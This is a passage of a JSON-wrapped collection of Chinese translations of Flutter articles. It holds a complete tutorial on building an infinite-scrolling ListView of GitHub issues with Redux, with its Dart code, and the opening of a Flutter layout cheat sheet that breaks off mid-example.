[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-infinite-listview-with-redux.md",
    "content": "> * 原文地址：[Flutter: Infinite ListView with Redux](https://medium.com/flutter-community/flutter-redux-infinite-listview-b57e81ca4ef4)\n> * 原文作者：[Pavel Sulimau](https://medium.com/@pavel.sulimau)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-infinite-listview-with-redux.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-infinite-listview-with-redux.md)\n> * 译者：[Xat_MassacrE](https://github.com/XatMassacrE)\n> * 校对者：[TsichiChang](https://github.com/TsichiChang)\n\n# Flutter: 使用 Redux 实现无限滚动的 ListView\n\n![](https://cdn-images-1.medium.com/max/3840/1*spVWmt32pcQItXguvspQqw.jpeg)\n\n## 动机\n\n如果你需要实现一个具有多页面的应用程序，而且其中的一个页面需要用列表的形式来展示数据。那么我将会告诉你如何基于 **Flutter** + **Redux** 来开发出一个具有 『下拉刷新』和『错误处理』功能的『无限』列表应用。\n\n## 预备知识\n\n首先要确保你对 [redux.dart](https://github.com/johnpryan/redux.dart) 和 [flutter_redux](https://github.com/brianegan/flutter_redux) 这两个文档中的术语有足够的了解。其次建议你阅读一下[我之前的文章](https://medium.com/flutter-community/flutter-redux-toast-notification-fcd0971eaf0f)。\n\n## 目标\n\n实现一个展示 [Flutter issues 列表](https://github.com/flutter/flutter/issues) 的 demo。\n\n下图就是我们实现之后的样子。\n\n![](https://cdn-images-1.medium.com/max/2000/1*EdwqcExhCgZYHytAU-sUxA.gif)\n\n## 开发\n\n首先我们需要 [flutter_redux](https://pub.dev/packages/flutter_redux) 和 [http](https://pub.dev/packages/http) 包，将这两个包添加到 **pubspec.yaml** 文件中并安装它们。同时，[intl](https://pub.dev/packages/intl) 和 [redux_logging](https://pub.dev/packages/redux_logging) 这两个包对于日期格式化以及调试也是非常有用的。\n\n#### Model\n\nModel 是一个包含 Github issue 属性的简单类，同时也可以通过 JSON 来实例化。\n\n```Dart\nimport 'package:intl/intl.dart';\n\nclass GithubIssue {\n  final String title;\n  final String state;\n  final DateTime createdAt;\n\n  String get createdAtFormatted =>\n      DateFormat.yMMMd().add_Hm().format(createdAt);\n\n  GithubIssue.fromJson(Map<String, dynamic> json)\n      : title = json['title'],\n        state = json['state'],\n        createdAt = DateTime.parse(json['created_at']);\n}\n```\n\n#### State\n\n我们需要在 state 中记录的数据并不多：一个包含多个 issue 的列表，一个数据是否被载入的标志位，一个是否还有更多数据的标志位以及错误信息。\n\n```Dart\nimport 'package:flutter_redux_infinite_list/models/github_issue.dart';\n\nclass AppState {\n  AppState({\n    this.isDataLoading,\n    this.isNextPageAvailable,\n    this.items,\n    this.error,\n  });\n\n  final bool isDataLoading;\n  final bool isNextPageAvailable;\n  final List<GithubIssue> items;\n  final Exception error;\n\n  static const int itemsPerPage = 20;\n\n  factory AppState.initial() => AppState(\n        isDataLoading: false,\n        isNextPageAvailable: false,\n        items: const [],\n      );\n\n  AppState copyWith({\n    isDataLoading,\n    isNextPageAvailable,\n    items,\n    error,\n  }) {\n    return AppState(\n      isDataLoading: isDataLoading ?? this.isDataLoading,\n      isNextPageAvailable: isNextPageAvailable ?? this.isNextPageAvailable,\n      items: items ?? this.items,\n      error: error != this.error ? error : this.error,\n    );\n  }\n\n  @override\n  String toString() {\n    return \"AppState: isDataLoading = $isDataLoading, \"\n        \"isNextPageAvailable = $isNextPageAvailable, \"\n        \"itemsLength = ${items.length}, \"\n        \"error = $error.\";\n  }\n}\n\n```\n\n你们会注意到这里有一个 `toString` 方法。它的主要作用是调试和未来更方便的使用 `LoggingMiddleware`。\n\n#### Actions\n\n这里有两个 actions 用来处理真实数据，还有两个 actions 用来处理可能的错误。\n\n```Dart\nimport 'package:flutter/cupertino.dart';\nimport 'package:flutter_redux_infinite_list/models/github_issue.dart';\nimport 'package:meta/meta.dart';\n\nclass LoadItemsPageAction {\n  LoadItemsPageAction({\n    @required this.pageNumber,\n    @required this.itemsPerPage,\n  });\n\n  final int pageNumber;\n  final int itemsPerPage;\n}\n\nclass ItemsPageLoadedAction {\n  ItemsPageLoadedAction(this.itemsPage);\n\n  final List<GithubIssue> itemsPage;\n}\n\nclass ErrorOccurredAction {\n  ErrorOccurredAction(this.exception);\n\n  final Exception exception;\n}\n\nclass ErrorHandledAction {}\n```\n\n#### Reducers\n\nReducer 会根据接收到的 action 创建新的 state，它会比 action 复杂一点，但是也并没有复杂很多。它们其实就是一些由 Redux 库提供的 `combineReducers` 函数结合起来的纯函数而已。\n\n```Dart\nimport 'actions.dart';\nimport 'package:flutter_redux_infinite_list/models/github_issue.dart';\nimport 'package:flutter_redux_infinite_list/redux/state.dart';\nimport 'package:redux/redux.dart';\n\nAppState appReducer(AppState state, action) {\n  return state.copyWith(\n    isDataLoading: _isDataLoadingReducer(state.isDataLoading, action),\n    isNextPageAvailable:\n        _isNextPageAvailableReducer(state.isNextPageAvailable, action),\n    items: _itemsReducer(state.items, action),\n    error: _errorReducer(state.error, action),\n  );\n}\n\nfinal Reducer<bool> _isDataLoadingReducer = combineReducers<bool>([\n  TypedReducer<bool, LoadItemsPageAction>(_isDataLoadingStartedReducer),\n  TypedReducer<bool, ItemsPageLoadedAction>(_isDataLoadingFinishedReducer),\n  TypedReducer<bool, ErrorOccurredAction>(_isDataLoadingFinishedReducer),\n]);\n\nbool _isDataLoadingStartedReducer(bool _, dynamic action) {\n  return true;\n}\n\nbool _isDataLoadingFinishedReducer(bool _, dynamic action) {\n  return false;\n}\n\nbool _isNextPageAvailableReducer(bool isNextPageAvailable, dynamic action) {\n  return (action is ItemsPageLoadedAction)\n      ? action.itemsPage.length == AppState.itemsPerPage\n      : isNextPageAvailable;\n}\n\nList<GithubIssue> _itemsReducer(List<GithubIssue> items, dynamic action) {\n  if (action is ItemsPageLoadedAction) {\n    return List.from(items)..addAll(action.itemsPage);\n  } else if (action is LoadItemsPageAction && action.pageNumber == 1) {\n    return List<GithubIssue>();\n  } else {\n    return items;\n  }\n}\n\nfinal Reducer<Exception> _errorReducer = combineReducers<Exception>([\n  TypedReducer<Exception, ErrorOccurredAction>(_errorOccurredReducer),\n  TypedReducer<Exception, ErrorHandledAction>(_errorHandledReducer),\n]);\n\nException _errorOccurredReducer(Exception _, ErrorOccurredAction action) {\n  return action.exception;\n}\n\nException _errorHandledReducer(Exception _, ErrorHandledAction action) {\n  return null;\n}\n\n```\n\n#### Middleware\n\n这里使用的 middleware 基本上是由加载数据的 API 函数和发送成功或失败的 action 构成的。\n\n```Dart\nimport 'dart:convert';\nimport 'package:flutter_redux_infinite_list/models/github_issue.dart';\nimport 'package:flutter_redux_infinite_list/redux/actions.dart';\nimport 'package:flutter_redux_infinite_list/redux/state.dart';\nimport 'package:http/http.dart' as http;\nimport 'package:redux/redux.dart';\nimport 'package:redux_logging/redux_logging.dart';\n\nList<Middleware<AppState>> createAppMiddleware() {\n  return [\n    TypedMiddleware<AppState, LoadItemsPageAction>(_loadItemsPage()),\n    LoggingMiddleware.printer(),\n  ];\n}\n\n_loadItemsPage() {\n  return (Store<AppState> store, LoadItemsPageAction action,\n      NextDispatcher next) {\n    next(action);\n\n    _loadFlutterGithubIssues(action.pageNumber, action.itemsPerPage).then(\n      (itemsPage) {\n        store.dispatch(ItemsPageLoadedAction(itemsPage));\n      },\n    ).catchError((exception, stacktrace) {\n      store.dispatch(ErrorOccurredAction(exception));\n    });\n  };\n}\n\nFuture<List<GithubIssue>> _loadFlutterGithubIssues(\n    int page, int perPage) async {\n  var response = await http.get(\n      'https://api.github.com/repos/flutter/flutter/issues?page=$page&per_page=$perPage');\n  if (response.statusCode == 200) {\n    final items = json.decode(response.body) as List;\n    return items.map((item) => GithubIssue.fromJson(item)).toList();\n  } else {\n    throw Exception('Error getting data, http code: ${response.statusCode}.');\n  }\n}\n\n```\n\n#### Container\n\n现在，我们离视图层又近了一步。这里的 container 组件可以将最新的 **App State** 转换成一个 `_ViewModel` 并将 `_ViewModel` 与视图组件连接起来。\n\n```Dart\nimport 'package:flutter_redux_infinite_list/models/github_issue.dart';\nimport 'package:flutter_redux_infinite_list/presentation/screens/home_screen.dart';\nimport 'package:flutter_redux_infinite_list/redux/actions.dart';\nimport 'package:flutter_redux_infinite_list/redux/state.dart';\nimport 'package:flutter_redux/flutter_redux.dart';\nimport 'package:flutter/material.dart';\nimport 'package:redux/redux.dart';\n\nclass HomeContainer extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return StoreConnector<AppState, _ViewModel>(\n      builder: (context, vm) {\n        return HomeScreen(\n          isDataLoading: vm.isDataLoading,\n          isNextPageAvailable: vm.isNextPageAvailable,\n          items: vm.items,\n          refresh: vm.onRefresh,\n          loadNextPage: vm.onLoadNextPage,\n          noError: vm.noError,\n        );\n      },\n      converter: _ViewModel.fromStore,\n      onInit: (store) {\n        store.dispatch(\n          LoadItemsPageAction(pageNumber: 1, itemsPerPage: AppState.itemsPerPage),\n        );\n      },\n    );\n  }\n}\n\nclass _ViewModel {\n  _ViewModel({\n    this.isDataLoading,\n    this.isNextPageAvailable,\n    this.items,\n    this.store,\n    this.noError,\n  });\n\n  final bool isDataLoading;\n  final bool isNextPageAvailable;\n  final List<GithubIssue> items;\n  final Store<AppState> store;\n  final bool noError;\n\n  void onLoadNextPage() {\n    if (!isDataLoading && isNextPageAvailable) {\n      store.dispatch(LoadItemsPageAction(\n        pageNumber: (items.length ~/ AppState.itemsPerPage) + 1,\n        itemsPerPage: AppState.itemsPerPage,\n      ));\n    }\n  }\n\n  void onRefresh() {\n    store.dispatch(\n      LoadItemsPageAction(pageNumber: 1, itemsPerPage: AppState.itemsPerPage),\n    );\n  }\n\n  static _ViewModel fromStore(Store<AppState> store) {\n    return _ViewModel(\n      isDataLoading: store.state.isDataLoading,\n      isNextPageAvailable: store.state.isNextPageAvailable,\n      items: store.state.items,\n      store: store,\n      noError: store.state.error == null,\n    );\n  }\n}\n\n```\n\n#### Presentation\n\n这个部分将会更加有趣。让我们先从 `HomeScreen` 中用到的两个展示组件开始：`CustomProgressIndicator` 和 `GithubIssueListItem`。\n\n```Dart\nimport 'package:flutter/material.dart';\n\nclass CustomProgressIndicator extends StatelessWidget {\n  CustomProgressIndicator({this.isActive});\n\n  final bool isActive;\n\n  @override\n  Widget build(BuildContext context) {\n    return isActive\n        ? Padding(\n            padding: const EdgeInsets.all(8.0),\n            child: Center(\n              child: CircularProgressIndicator(\n                strokeWidth: 2,\n              ),\n            ),\n          )\n        : Container(width: 0.0, height: 0.0);\n  }\n}\n```\n\n```Dart\nimport 'package:flutter/material.dart';\nimport 'package:flutter_redux_infinite_list/models/github_issue.dart';\n\nclass GithubIssueListItem extends StatelessWidget {\n  const GithubIssueListItem({\n    Key key,\n    @required this.itemIndex,\n    @required this.githubIssue,\n  }) : super(key: key);\n\n  final int itemIndex;\n  final GithubIssue githubIssue;\n\n  @override\n  Widget build(BuildContext context) {\n    return Container(\n      child: ListTile(\n        contentPadding: EdgeInsets.symmetric(horizontal: 8.0),\n        title: Text(\n          '#${itemIndex + 1}: ${githubIssue.title}',\n          maxLines: 2,\n          overflow: TextOverflow.ellipsis,\n        ),\n        subtitle: Row(\n          mainAxisAlignment: MainAxisAlignment.spaceBetween,\n          children: [\n            Text(githubIssue.createdAtFormatted),\n            Text(githubIssue.state),\n          ],\n        ),\n        isThreeLine: true,\n      ),\n      height: 60.0,\n    );\n  }\n}\n\n```\n\n**下面是主要的展示逻辑**\n\n**注意一下 `HomeScreen`**。这里有好几个值得关注的点：\n\n1. 页面包含的 `ScrollController` 决定了是否需要调用 `loadNextPage` 函数。\n2. 在这里使用了 `Debouncer`（具体实现见下文）。它是一个含有定时器功能的简单类，能够确保来自 `ScrollController` 的连续事件不会触发大量的下一页请求，而是在一个特定时间段之内只发送一次请求。\n3. `RefreshIndicator` 可以在我们使用『下拉刷新』功能时给予提示。\n4. 当发生错误的时候 `ErrorNotifier` 将会显示 toast 通知。如果你需要在该通知中更多的显示详细信息，可以看看[我之前的文章](https://medium.com/flutter-community/flutter-redux-toast-notification-fcd0971eaf0f)。\n\n```Dart\nimport 'package:flutter_redux_infinite_list/common/debouncer.dart';\nimport 'package:flutter_redux_infinite_list/models/github_issue.dart';\nimport 'package:flutter_redux_infinite_list/presentation/components/custom_progress_indicator.dart';\nimport 'package:flutter_redux_infinite_list/presentation/components/github_issue_list_item.dart';\nimport 'package:flutter_redux_infinite_list/presentation/error_notifier.dart';\nimport 'package:flutter/cupertino.dart';\nimport 'package:flutter/material.dart';\n\nclass HomeScreen extends StatefulWidget {\n  HomeScreen({\n    this.isDataLoading,\n    this.isNextPageAvailable,\n    this.items,\n    this.refresh,\n    this.loadNextPage,\n    this.noError,\n  });\n\n  final bool isDataLoading;\n  final bool isNextPageAvailable;\n  final List<GithubIssue> items;\n  final Function refresh;\n  final Function loadNextPage;\n  final bool noError;\n\n  @override\n  _HomeScreenState createState() => _HomeScreenState();\n}\n\nclass _HomeScreenState extends State<HomeScreen> {\n  ScrollController _scrollController = ScrollController();\n  final _scrollThresholdInPixels = 100.0;\n  final _debouncer = Debouncer(milliseconds: 500);\n\n  @override\n  void initState() {\n    super.initState();\n    _scrollController.addListener(_onScroll);\n  }\n\n  @override\n  void dispose() {\n    _scrollController.dispose();\n    super.dispose();\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return Scaffold(\n      appBar: AppBar(\n        title: Text('Infinite ListView with Redux'),\n      ),\n      body: ErrorNotifier(\n        child: widget.isDataLoading && widget.items.length == 0\n            ? CustomProgressIndicator(isActive: widget.isDataLoading)\n            : RefreshIndicator(\n                child: ListView.separated(\n                  physics: AlwaysScrollableScrollPhysics(),\n                  itemCount: widget.isNextPageAvailable\n                      ? widget.items.length + 1\n                      : widget.items.length,\n                  itemBuilder: (context, index) {\n                    return (index < widget.items.length)\n                        ? GithubIssueListItem(\n                            itemIndex: index, githubIssue: widget.items[index])\n                        : CustomProgressIndicator(isActive: widget.noError);\n                  },\n                  controller: _scrollController,\n                  separatorBuilder: (BuildContext context, int index) =>\n                      Divider(color: Theme.of(context).dividerColor),\n                ),\n                onRefresh: _onRefresh,\n              ),\n      ),\n    );\n  }\n\n  void _onScroll() {\n    final maxScroll = _scrollController.position.maxScrollExtent;\n    final currentScroll = _scrollController.position.pixels;\n    if (maxScroll - currentScroll <= _scrollThresholdInPixels &&\n        !widget.isDataLoading) {\n      _debouncer.run(() => widget.loadNextPage());\n    }\n  }\n\n  Future _onRefresh() {\n    widget.refresh();\n    return Future.value();\n  }\n}\n\n```\n\n下面是 `ErrorNotifer` 的代码。\n\n```Dart\nimport 'package:flutter_redux_infinite_list/redux/actions.dart';\nimport 'package:flutter_redux_infinite_list/redux/state.dart';\nimport 'package:flutter_redux/flutter_redux.dart';\nimport 'package:flutter/material.dart';\nimport 'package:redux/redux.dart';\n\nclass ErrorNotifier extends StatelessWidget {\n  ErrorNotifier({\n    @required this.child,\n  });\n\n  final Widget child;\n\n  @override\n  Widget build(BuildContext context) {\n    return StoreConnector<AppState, _ViewModel>(\n      converter: (store) => _ViewModel.fromStore(store),\n      builder: (context, vm) => child,\n      onDidChange: (vm) {\n        if (vm.error != null) {\n          vm.markErrorAsHandled();\n          Scaffold.of(context).showSnackBar(\n            SnackBar(\n              content: Text(vm.error.toString()),\n            ),\n          );\n        }\n      },\n      distinct: true,\n    );\n  }\n}\n\nclass _ViewModel {\n  _ViewModel({\n    this.markErrorAsHandled,\n    this.error,\n  });\n\n  final Function markErrorAsHandled;\n  final Exception error;\n\n  static _ViewModel fromStore(Store<AppState> store) {\n    return _ViewModel(\n      markErrorAsHandled: () => store.dispatch(ErrorHandledAction()),\n      error: store.state.error,\n    );\n  }\n\n  @override\n  int get hashCode => error.hashCode;\n\n  @override\n  bool operator ==(other) =>\n      identical(this, other) ||\n      other is _ViewModel && other.error == this.error;\n}\n\n```\n\n下图就是在 action 中 `ErrorNotifier` 呈现的样子。\n\n![](https://cdn-images-1.medium.com/max/2000/1*6cesoZFB8Hj9UaLQgffcKA.gif)\n\n接下来就是上文提到的 `Debouncer`。\n\n```Dart\nimport 'dart:async';\nimport 'package:flutter/material.dart';\n\nclass Debouncer {\n  Debouncer({this.milliseconds});\n\n  final int milliseconds;\n  VoidCallback action;\n  Timer _timer;\n\n  run(VoidCallback action) {\n    if (_timer != null && _timer.isActive) {\n      _timer.cancel();\n    }\n\n    _timer = Timer(Duration(milliseconds: milliseconds), action);\n  }\n}\n```\n\n最后就是把所有声明的组件都结合起来的 `main.dart` 文件。\n\n```Dart\nimport 'package:flutter_redux_infinite_list/redux/containers/home_container.dart';\nimport 'package:flutter_redux_infinite_list/redux/middleware.dart';\nimport 'package:flutter_redux_infinite_list/redux/reducers.dart';\nimport 'package:flutter_redux_infinite_list/redux/state.dart';\nimport 'package:flutter_redux/flutter_redux.dart';\nimport 'package:flutter/material.dart';\nimport 'package:redux/redux.dart';\n\nvoid main() => runApp(App());\n\nclass App extends StatelessWidget {\n  final store = Store<AppState>(\n    appReducer,\n    initialState: AppState.initial(),\n    middleware: createAppMiddleware(),\n  );\n\n  @override\n  Widget build(BuildContext context) {\n    return StoreProvider(\n      store: store,\n      child: MaterialApp(\n        debugShowCheckedModeBanner: false,\n        home: HomeContainer(),\n        theme: ThemeData(\n          primaryColor: Color(0xFF0054A0),\n        ),\n      ),\n    );\n  }\n}\n```\n\n不要犹豫，自己一定要去试一试，你可以从 [Github repo](https://github.com/Pavel-Sulimau/flutter_redux_infinite_list) 获取本文源码。\n\n## 参考资源：\n\n* [https://medium.com/filledstacks/flutter-redux-quick-start-3f549f5b05c5](https://medium.com/flutter-community/flutter-redux-toast-notification-fcd0971eaf0f)\n* [https://github.com/johnpryan/redux.dart](https://github.com/johnpryan/redux.dart)\n* [https://github.com/brianegan/flutter_redux](https://github.com/brianegan/flutter_redux)\n* [https://stackoverflow.com/questions/51791501/how-to-debounce-textfield-onchange-in-dart](https://stackoverflow.com/questions/51791501/how-to-debounce-textfield-onchange-in-dart)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-layout-cheat-sheet.md",
    "content": "> * 原文地址：[Flutter Layout Cheat Sheet](https://medium.com/flutter-community/flutter-layout-cheat-sheet-5363348d037e)\n> * 原文作者：[Tomek Polański](https://medium.com/@tpolansk)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-layout-cheat-sheet.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-layout-cheat-sheet.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[smilemuffie](https://github.com/smilemuffie)，[suhanyujie](https://github.com/suhanyujie)\n\n# Flutter 布局备忘录\n\n![](https://cdn-images-1.medium.com/max/3538/1*Ktvy6_Ldzx9CjrrK3Vg9Fw.png)\n\n你需要了解 Flutter 的简单布局模版吗？\n现在我将展示给你我总结的一系列 Flutter 布局代码片段。我会尽量保证代码简短易懂，并且会给出效果图。\n但是我们仍旧需要循序渐进 —— 模版目录将会随之逐步深入。我将会将更多的篇幅集中于 Flutter 部件的应用，而不是单纯陈列组件（[Flutter Gallery](https://play.google.com/store/apps/details?id=io.flutter.gallery&hl=en) 在这一点做的很好！）\n如果你对于 Flutter 布局还有其他疑问，或者想要分享你的代码，请留言给我！\n\n***\n\n## 目录\n\n* Row 和 Column\n* IntrinsicWidth 和 IntrinsicHeight\n* Stack\n* Expanded\n* ConstrainedBox\n* Container\n  * 装饰（decoration）：BoxDecoration\n  * 图片（image）：DecorationImage\n  * 边框（border）：Border\n  * 边框半径（borderRadius）：BorderRadius\n  * 形状（shape）：BoxShape\n  * 阴影（boxShadow）：`List<BoxShadow>`\n  * 渐变（gradient）：RadialGradient\n  * 背景混合模式（backgroundBlendMode）：BlendMode\n* SizedBox\n* SafeArea\n\n***\n\n## Row 和 Column\n\n### MainAxisAlignment\n\n![](https://cdn-images-1.medium.com/max/2000/1*dkZ0sQRPFhGf9r7sO4LrzA.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*Z8Utwfw9vPALRY0XOS4uSQ.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisAlignment: MainAxisAlignment.start,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*NKci3PDfzyxSlcoZzN9WQg.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*SDjCqaKjWtUSwTT5Ik_-Cw.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisAlignment: MainAxisAlignment.center,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*Q6pB5xw4RtehKSvWHffEgQ.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*idDcokq5qV8CHrmplUCeNA.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisAlignment: MainAxisAlignment.end,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*OdahXv1kvQAdn7PnsEKz7w.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*vpvXC7fTvKWw-w9MGADbUg.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisAlignment: MainAxisAlignment.spaceBetween,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*xPKN3e4hH54TxqIwLUn42A.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*sAyW0aFJIYy4p1G3ekyrQQ.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisAlignment: MainAxisAlignment.spaceEvenly,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*LnttjdiEBxXI_mmWrHtxmw.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*U38GUiD37VN0qN_ZexkIiQ.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisAlignment: MainAxisAlignment.spaceAround,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*MtiSZgu4yK6A4fSpGv6Zkg.png)\n\n如果你想要不同字符的基线对齐，你应该使用 `CrossAxisAlignment.baseline`。\n\n```dart\nRow(\n  crossAxisAlignment: CrossAxisAlignment.baseline,\n  textBaseline: TextBaseline.alphabetic,\n  children: <Widget>[\n    Text(\n      'Baseline',\n      style: Theme.of(context).textTheme.display3,\n    ),\n    Text(\n      'Baseline',\n      style: Theme.of(context).textTheme.body1,\n    ),\n  ],\n),\n```\n\n***\n\n### CrossAxisAlignment\n\n![](https://cdn-images-1.medium.com/max/2000/1*uJGtSW3UO8AjMgsViSmf6A.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*VOB1npP6r7NNXG5gKYY3LQ.png)\n\n```dart\nRow /*或 Column*/( \n  crossAxisAlignment: CrossAxisAlignment.start,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 200),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*NVCZBvvLBjcKKWU2tn7M9g.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*q-6779AyXXa5jTtBeQdxWQ.png)\n\n```dart\nRow /*或 Column*/( \n  crossAxisAlignment: CrossAxisAlignment.center,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 200),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*Vw2RkN4cDilzbx_Jx1l1_Q.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*1gS9EP_Sta161SH4G_panQ.png)\n\n```dart\nRow /*或 Column*/( \n  crossAxisAlignment: CrossAxisAlignment.end,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 200),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*67uV89an2F8qTEO2zEQkOA.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*DQgDsWne5dp8dc0ZZ911Zg.png)\n\n```dart\nRow /*或 Column*/( \n  crossAxisAlignment: CrossAxisAlignment.stretch,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 200),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n### MainAxisSize\n\n![](https://cdn-images-1.medium.com/max/2000/1*8mB-TuJQHf5uz0LNrAJPNA.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*mgRukOgzaOutbVFWGzii-A.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisSize: MainAxisSize.max,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*j6rXI3zzwHlkQHb_9FNKOw.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*TFkYeR-yqfHDH3pECJMM4Q.png)\n\n```dart\nRow /*或 Column*/( \n  mainAxisSize: MainAxisSize.min,\n  children: <Widget>[\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n    Icon(Icons.star, size: 50),\n  ],\n),\n```\n\n***\n\n## IntrinsicWidth 和 IntrinsicHeight\n\n想要某行或列中所有部件和最高/最宽的部件一样高/宽？不要乱找了，答案在这里！\n\n当你有这种样式的布局：\n\n![](https://cdn-images-1.medium.com/max/2000/1*9Ap8DHjFJssXHwkMFOu5zw.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('IntrinsicWidth')),\n    body: Center(\n      child: Column(\n        children: <Widget>[\n          RaisedButton(\n            onPressed: () {},\n            child: Text('Short'),\n          ),\n          RaisedButton(\n            onPressed: () {},\n            child: Text('A bit Longer'),\n          ),\n          RaisedButton(\n            onPressed: () {},\n            child: Text('The Longest text button'),\n          ),\n        ],\n      ),\n    ),\n  );\n}\n```\n\n但是你希望所有的按钮都和**最宽**的按钮等**宽**，只需要使用 `IntrinsicWidth`：\n\n![](https://cdn-images-1.medium.com/max/2000/1*JS9b6Cvb-o2FGGgIC6zPiQ.png)\n\n```dart\nWidget build(BuildContext context) {\n  return Scaffold(\n    appBar: AppBar(title: Text('IntrinsicWidth')),\n    body: Center(\n      child: IntrinsicWidth(\n        child: Column(\n          crossAxisAlignment: CrossAxisAlignment.stretch,\n          children: <Widget>[\n            RaisedButton(\n              onPressed: () {},\n              child: Text('Short'),\n            ),\n            RaisedButton(\n              onPressed: () {},\n              child: Text('A bit Longer'),\n            ),\n            RaisedButton(\n              onPressed: () {},\n              child: Text('The Longest text button'),\n            ),\n          ],\n        ),\n      ),\n    ),\n  );\n}\n```\n\n如果你需要的是让所有部件和**最高的部件**等**高**，可以结合使用 `IntrinsicHeight` 和 `Row` 部件。\n\n***\n\n## Stack\n\n非常适用于将部件叠加在一起\n\n![](https://cdn-images-1.medium.com/max/2000/1*3E_ll9conv_Ha7xTLtIn6Q.png)\n\n```dart\n@override\nWidget build(BuildContext context) {\n  Widget main = Scaffold(\n    appBar: AppBar(title: Text('Stack')),\n  );\n\n  return Stack(\n    fit: StackFit.expand,\n    children: 